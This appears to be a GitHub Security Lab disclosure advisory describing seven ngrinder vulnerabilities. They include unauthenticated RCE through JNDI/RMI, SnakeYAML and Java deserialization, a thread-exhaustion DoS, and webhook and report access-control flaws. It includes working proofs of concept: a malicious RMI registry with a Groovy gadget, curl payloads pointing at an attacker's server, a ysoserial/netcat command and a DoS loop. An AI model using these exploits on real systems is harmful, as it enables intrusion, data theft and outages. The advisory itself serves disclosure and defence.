Coordinated Disclosure Timeline

Summary

Several vulnerabilities were discovered in the ngrinder web application from Naver. Two of the vulnerabilities were unauthenticated remote code execution (RCE) vulnerabilities, others were due to improper access controls.

Project

naver/ngrinder

Tested Version

v3.5.8

Details

Issue 1: RCE via JNDI/RMI (GHSL-2023-238)

The endpoint /monitor/api/state?ip={ip} allows unauthenticated attackers to request that ngrinder connects to a JMX/RMI server under the control of the attacker. This makes it possible for the attacker to execute arbitrary commands on the server running ngrinder.

An attacker can pass an IP address of a malicious RMI server into the ip query parameter of the /state endpoint of the class MonitorManagerApiController.

@GetMapping("/state")
public SystemDataModel getRealTimeMonitorData(@RequestParam final String ip) throws InterruptedException, ExecutionException, TimeoutException {
	int port = config.getMonitorPort();
	Future<SystemInfo> systemInfoFuture = AopUtils.proxy(this).getAsyncSystemInfo(ip, port);
	[..]

From there the IP address gets passed to getAsyncSystemInfo, then getSystemInfo where a new MonitorClientService is instantiated which now holds the attacker-controlled IP address:

public SystemInfo getSystemInfo(String ip, int port) {
	MonitorClientService monitorClient = monitorClientMap.get(ip);
	if (monitorClient == null) {
		monitorClient = new MonitorClientService(ip, port);
		monitorClient.init();

Then init is called on the MonitorClientService, which creates a new MBeanClient which holds a JMX URL:

public MBeanClient(String hostName, int port) throws IOException {
    this.jmxUrl = new JMXServiceURL("rmi", hostName, port, String.format(JMX_URI, hostName, port));
}

This JMX URL is then used when connect, then connectClient, then connectWithTimeout are called on the MBeanClient:

private JMXConnector connectWithTimeout(final JMXServiceURL jmxUrl, int timeout) throws NGrinderRuntimeException, TimeoutException {
    try {
        ExecutorService executor = Executors.newSingleThreadExecutor();
        Future<JMXConnector> future = executor.submit(() -> JMXConnectorFactory.connect(jmxUrl));

connectWithTimeout then calls JMXConnectorFactory.connect (the vulnerable sink) on the partially user-controlled jmxUrl.

This vulnerability was discovered with the help of CodeQL’s JNDI lookup with user-controlled name query.

Proof of concept
  1. Start the malicious RMI registry (part of the Resources section)
  2. Once the malicious RMI server is running all the attacker needs to do is a GET request to the /state endpoint such as:
curl 'http://<ngrinder-host>/monitor/api/state?ip=<attacker-controlled-rmi-server-IP>'

This “malicious” RMI registry executes the command touch /tmp/pwnedGroovy.txt on the ngrinder server under test. Successful exploitation can be verified by looking for the file pwnedGroovy.txt inside of the /tmp folder.

Impact

This issue may lead to unauthenticated Remote Code Execution (RCE).

Resources

Malicious RMI registry

Malicious RMI registry that runs on Port 13243 and is bound to path /jmxrmi. Once the attacker gets ngrinder to connect to this registry it will run the command touch /tmp/pwnedGroovy.txt on the ngrinder server. (A dependency to Apache Tomcat org.apache.tomcat:tomcat-catalina is required to compile and execute this code.)

package seclab.jndilab;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    private static final String EXT_IP_ADDRESS = "127.0.0.1";
    private static final int EXT_PORT = 13243;

    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.hostname", EXT_IP_ADDRESS);
        System.setProperty("com.sun.management.jmxremote.port", String.valueOf(EXT_PORT));
        System.setProperty("com.sun.management.jmxremote.rmi.port", String.valueOf(EXT_PORT));

        System.out.println(String.format("Creating RMI registry on port %d and bind to /jmxrmi", EXT_PORT));
        Registry registry = LocateRegistry.createRegistry(EXT_PORT);
        RmiServer rmiServer = new RmiServer();
        registry.bind("jmxrmi", rmiServer.execWithGroovyEvalMe("touch /tmp/pwnedGroovy.txt"));
    }

    private ReferenceWrapper execWithGroovyEvalMe(String command) throws RemoteException, NamingException {
        ResourceRef ref = new ResourceRef("groovy.util.Eval", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "v=me"));
        String addr = String.format("new groovy.util.Eval().me(\"'%s'.execute()\")", command);
        ref.add(new StringRefAddr("v", addr));
        return new ReferenceWrapper(ref);
    }
}

This RMI registry serves a gadget using the (static) Eval.me method of Groovy, which was provided by Alvaro Muñoz. This gadget builds upon the BeanFactory described by Michael Stepankin in the blog post Exploiting JNDI Injections in Java.

Issue 2: RCE via unsafe YAML deserialization (GHSL-2023-239)

The endpoint /script/api/github/validate allows unauthenticated remote code execution (RCE) via unsafe YAML deserialization. This is due to the fact that user-controlled YAML is allowed to flow into a vulnerable-by-default loadAll sink of SnakeYAML.

The user-controlled data is passed down from the unauthenticated validateGithubConfig endpoint:

@PostMapping("/github/validate")
public void validateGithubConfig(@RequestBody FileEntry fileEntry) {
	gitHubFileEntryService.validate(fileEntry);
}

Then passed down to the validate method inside the GitHubFileEntryService class.

public boolean validate(FileEntry gitConfigYaml) {
	for (GitHubConfig config : getAllGithubConfig(gitConfigYaml)) {

The validate method then calls the getAllGithubConfig, which ultimately calls the loadAll sink of SnakeYAML:

private Set<GitHubConfig> getAllGithubConfig(FileEntry gitConfigYaml) {
	Set<GitHubConfig> gitHubConfig = new HashSet<>();
	// Yaml is not thread safe. so create it every time.
	Yaml yaml = new Yaml();
	Iterable<Map<String, Object>> gitConfigs = cast(yaml.loadAll(gitConfigYaml.getContent()));

This vulnerability was discovered with the help of CodeQL’s Deserialization of user-controlled data query.

Proof of concept

This proof of concept re-uses the “malicious” RMI registry from GHSL-2023-238.

  1. Start the malicious RMI registry (part of the Resources section of GHSL-2023-238)
  2. Send following payload to the ngrinder instance (with <attacker-controlled-rmi-server-IP> pointing to the “malicious” RMI registry:
{
"content":  "!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: rmi://<attacker-controlled-rmi-server-IP>:13243/jmxrmi\n  autoCommit: true\n"
}

Payload as part of a curl-request:

curl -i -s -k -X $'POST' \
    -H $'Host: localhost:8080' -H $'User-Agent: Mozilla/5.0' -H $'Accept: text/html' -H $'Content-Type: application/json' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en' -H $'Connection: close' \
    --data-binary $'{\x0d\x0a\"content\":  \"!!com.sun.rowset.JdbcRowSetImpl\\n  dataSourceName: rmi://<attacker-controlled-rmi-server-IP>:13243/jmxrmi\\n  autoCommit: true\\n\"\x0d\x0a}' \
    $'http://localhost:8080/script/api/github/validate'

This “malicious” RMI registry executes the command touch /tmp/pwnedGroovy.txt on the ngrinder server under test. Successful exploitation can be verified by looking for the file pwnedGroovy.txt inside of the /tmp folder.

Impact

This issue may lead to unauthenticated Remote Code Execution (RCE).

Resources

Issue 3: Unsafe Java Deserialization (GHSL-2023-240)

By default ngrinder runs a listener on port 16001 that accepts serialized Java objects from unauthenticated users. By default this listener is started on all network interfaces, it is also exposed in the docker-compose file in the repository of ngrinder.

The vulnerable code lays inside the read method of the Connector class. The code calls readObject on a ObjectInputStream that is controllable from remote:

static ConnectDetails read(InputStream in) throws CommunicationException {

    try {
        final ObjectInputStream objectInputStream = new ObjectInputStream(in);
        final ConnectionType type =
				(ConnectionType) objectInputStream.readObject();
        final Address address = (Address) objectInputStream.readObject();

The read method of the Connector class is called by is called discriminateConnection method inside the Acceptor class.

final Connector.ConnectDetails connectDetails = Connector.read(localSocket.getInputStream());

This vulnerability was discovered with the help of CodeQL’s Deserialization of user-controlled data query.

Proof of concept

This proof of concept uses ysoserial and the FileUpload gadget. The following PoC copies the database.conf file to the download folder. (<USER> needs to be replaced with the actual user under which ngrinder is executed.)

java -jar ysoserial-all.jar FileUpload1 "copyAndDelete;/home/<USER>/.ngrinder/database.conf;/home/<USER>/.ngrinder/download" > fileupload.bin

Send the created payload to the server using netcat (nc):

nc <ip> 16001 < fileupload.bin

On the filesystem of the server running ngrinder there should now be a tmp-file in the folder of /home/<USER>/.ngrinder/download containing the contents of the database.conf file (and the original database.conf does not exist anymore).

Impact

This issue may lead up to unauthenticated Remote Code Execution (RCE).

Resources

Issue 4: Remote DoS (GHSL-2023-241)

The /check/healthcheck_slow endpoint of ngrinder accepts an arbitrary delay in milliseconds from a user-controlled source.

@GetMapping("/check/healthcheck_slow")
public Map<String, Object> healthCheckSlowly(@RequestParam(value = "delay", defaultValue = "1000") int sleep,
												HttpServletResponse response) {
    ThreadUtils.sleep(sleep);
    return healthCheck(response);
}

So with multiple GET-calls such as:

curl "http://<ngrinder-host>/check/healthcheck_slow?delay=100000000"

An attacker is able to occupy all threads of a web server by making enough requests with a high delay value and leaving them open.

Proof of concept

Following bash script makes 256 requests against the ngrinder web server. In the test setup it was enough to block the web server completely (The number of requests required might depend on the Tomcat configuration - the default maxThreads value is typically 200).

#!/bin/bash
for i in {1..256}
do
   echo $i
   curl "http://<ngrinder-host>:8080/check/healthcheck_slow?delay=100000000" &
done

Impact

This issue may lead to Remote Denial of Service (DoS).

Issue 5: Broken access control for webhook creation (GHSL-2023-242)

Ngrinder allows unauthenticated users to create or update their webhook configuration with any URL and creator id. This makes it possible for an attacker to either specify a server under their control to get information about performance test runs or specify an internal host to use this vulnerability as a limited server-side request forgery (SSRF) in combination with GHSL-2023-243. This is due to a missing access check on the save method inside the WebhookApiController class.

Proof of concept

The attacker sends a POST request with following payload to the URL http://{ngrinder-host}/webhook/api/ (Either by specifying a host under their control to get partial result data or by specifying an internal host to try to exploit this feature as a limited server-side request forgery (SSRF) in combination with GHSL-2023-243). The attacker also specifies the username of the creator to use (admin in this case).

{"payloadUrl":"http://internal-host.test:5555/index.html","contentType":"JSON","active":true,"events":"START","creatorId":"admin","id":1,"createdAt":1701166778899}

as a curl request:

curl -i -s -k -X $'POST' \
    -H $'Host: {ngrinder-host}' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'User-Agent: Mozilla/5.0' -H $'Origin: http://localhost:9090' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en' -H $'Connection: close' \
    --data-binary $'{\"payloadUrl\":\"http://internal-host.test:5555/index.html\",\"contentType\":\"JSON\",\"active\":true,\"events\":\"START\",\"creatorId\":\"admin\",\"id\":1,\"createdAt\":1701166778899}' \
    $'http://{ngrinder-host}/webhook/api/'

When the server returns “success” the attacker has now successfully created or updated the webhook configuration of that user and needs to wait until an ngrinder performance test is executed to retrieve the results.

Impact

This improper access control may lead to unauthorized configuration modification, information disclosure and limited server-side request forgery (SSRF) in combination with GHSL-2023-243.

Issue 6: Broken access control for viewing webhook results (GHSL-2023-243)

Ngrinder allows unauthenticated users to view the results of ngrinder’s webhook requests. Those results contain the response headers and body of the HTTP POST request including the payload of the sent request. This is due to a missing access check on the getActivations method inside the WebhookApiController class.

Proof of concept

Precondition: A webhook has been executed (either due to an ngrinder performance run being started/finished or manually by an admin)

View the execution results of any webhook executions by making a GET request to this URL:

http://{ngrinder-host}/webhook/api/activation?creatorId=admin

The output of this request then contains the result of the webhook results (HTTP header + bodies, including errors):

[ {
  "id" : 1,
  "creatorId" : "admin",
  "createdAt" : 1701166567421,
  "request" : "{\n  \"finishTime\" : 1701166566920,\n  \"executedTests\" : 0,\n  \"peakTPS\" : 0.0,\n  \"successfulTests\" : 0,\n  \"eventType\" : \"FINISH\",\n  \"tags\" : \"\",\n  \"vuser\" : 0,\n  \"createdBy\" : \"admin\",\n  \"TPS\" : 0.0,\n  \"scriptName\" : \"\",\n  \"testId\" : 0,\n  \"runTime\" : \"00:00:00\",\n  \"meanTestTime\" : 0.0,\n  \"errors\" : 0,\n  \"testName\" : \"\",\n  \"status\" : \"UNKNOWN\"\n}",
  "response" : "{\n  \"header\" : {\n    \"Server\" : [ \"SimpleHTTP/0.6 Python/3.9.2\" ],\n    \"Date\" : [ \"Tue, 28 Nov 2023 10:16:07 GMT\" ],\n    \"Connection\" : [ \"close\" ],\n    \"Content-Type\" : [ \"text/html;charset=utf-8\" ],\n    \"Content-Length\" : [ \"497\" ]\n  },\n  \"body\" : \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.01//EN\\\"\\n        \\\"http://www.w3.org/TR/html4/strict.dtd\\\">\\n<html>\\n    <head>\\n        <meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html;charset=utf-8\\\">\\n        <title>Error response</title>\\n    </head>\\n    <body>\\n        <h1>Error response</h1>\\n        <p>Error code: 501</p>\\n        <p>Message: Unsupported method ('POST').</p>\\n        <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>\\n    </body>\\n</html>\\n\",\n  \"statusCode\" : 501\n}",
  "uuid" : "df3f9735-6a84-4703-b09e-945d3ed25383"
} ]

Impact

This improper access control may lead to Information Disclosure and limited server-side request forgery (SSRF) in combination with GHSL-2023-242.

Issue 7: Broken access control for viewing reports (several endpoints) (GHSL-2023-244)

Note: Naver deemed this issue not to be a vulnerability.

Multiple endpoints for viewing performance reports don’t require authentication, thus allowing anyone to view reports. The following endpoints inside the PerfTestApiController are affected:

Path Method
/perftest/api/{id}/detail_report getReport
/perftest/api/{id}/plugin/{plugin}?kind={kind}&imgWidth={width} getPluginGraph
/perftest/api/{id}/monitor?targetIP={ip}&imgWidth={width} getMonitorGraph
/perftest/api/{id}/graph?imgWidth={width}&dataType={type} getPerfGraph

Also the following endpoints inside PerfTestController:

Path Method
/perftest/{id}/detail_report getReport
/perftest/{id}/detail_report/plugin/{plugin}?kind={kind} getDetailPluginReport
/perftest/{id}/detail_report/monitor?targetIP={ip} getDetailMonitorReport
/perftest/{id}/detail_report/perf getDetailPerfReport

These endpoints allow the retrieval of any performance reports and similar reports.

Impact

This issue may lead to Information Disclosure.

CVE

Credit

These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-238, GHSL-2023-239, GHSL-2023-240, GHSL-2023-241, GHSL-2023-242, GHSL-2023-243, or GHSL-2023-244 in any communication regarding these issues.